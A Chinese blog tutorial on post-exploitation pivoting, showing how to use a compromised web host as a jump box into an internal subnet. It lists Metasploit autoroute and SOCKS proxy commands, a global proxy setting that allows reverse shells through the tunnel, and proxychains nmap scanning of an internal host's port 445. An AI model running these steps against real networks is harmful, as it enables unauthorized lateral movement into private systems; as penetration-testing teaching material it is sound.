内网渗透之跨路由访问

最新推荐文章于 2023-12-25 16:05:44 发布

夜yesec

最新推荐文章于 2023-12-25 16:05:44 发布

阅读量1.2k

点赞数

分类专栏：安全文章标签：安全网络 web安全

本文链接：https://blog.csdn.net/qq_56426046/article/details/127894456

版权

安全专栏收录该内容

98 篇文章 11 订阅

订阅专栏

内网渗透之跨路由访问

在渗透测试过程中，经常拿到web主机与数据库不同在一个网段，可以得出这台主机还连着一个内网，如果想要继续渗透内网，可以把这台web主机当作跳板机，对内网进行渗透

如下图

在这里插入图片描述

kali无法直接访问目标主机但是kali获取受害者的权限得知可以访问目标主机，所以可以通过受害者做跳板访问目标主机获取内网网卡命令

run get_local_subnets

绑定路由不绑定路由就没法访问目标主机

run autoroute -s 10.10.10.0/24
route add 10.10.10.0 255.255.255.0 1
route list

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s2egWfa5-1668607161473)(C:\Users\lenovo\Desktop\2.png)]$

msf使用隧道模块默认是使用socks5 也可以选择socks4a

use auxiliary/server/socks_proxy

编辑隧道配置文件

sudo vi /etc/proxychains4.conf

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-00kDC8dN-1668607161473)(C:\Users\lenovo\Desktop\3.png)]$

msf 使用代理访问目标

setg Proxies socks4/5:ip:port #让msf所有模块的流量都通过此代理走。(setg全局设置)
setg Proxies socks5:192.168.1.53:1080
set ReverseAllowProxy true
#允许反向代理，通过socks反弹shell，建立双向通道。(探测可以不设置此项)

使用代理隧道nmap扫描内网主机

proxychains4 nmap 10.10.10.136 -sT -A -p 445

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gb6cokl9-1668607161474)(C:\Users\lenovo\Desktop\4.png)]$
在这里插入图片描述

末将于禁，愿为曹家世代赴汤蹈火。

夜yesec

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
内网渗透之跨路由访问

在渗透测试过程中，经常拿到web主机与数据库不同在一个网段，可以得出这台主机还连着一个内网，如果想要继续渗透内网，可以把这台web主机当作跳板机，对内网进行渗透。kali无法直接访问目标主机但是kali获取受害者的权限得知可以访问目标主机，所以可以通过受害者做跳板访问目标主机获取内网网卡命令。msf使用隧道模块默认是使用socks5 也可以选择socks4a。绑定路由不绑定路由就没法访问目标主机。使用代理隧道nmap扫描内网主机。末将于禁，愿为曹家世代赴汤蹈火。msf 使用代理访问目标。
复制链接

扫一扫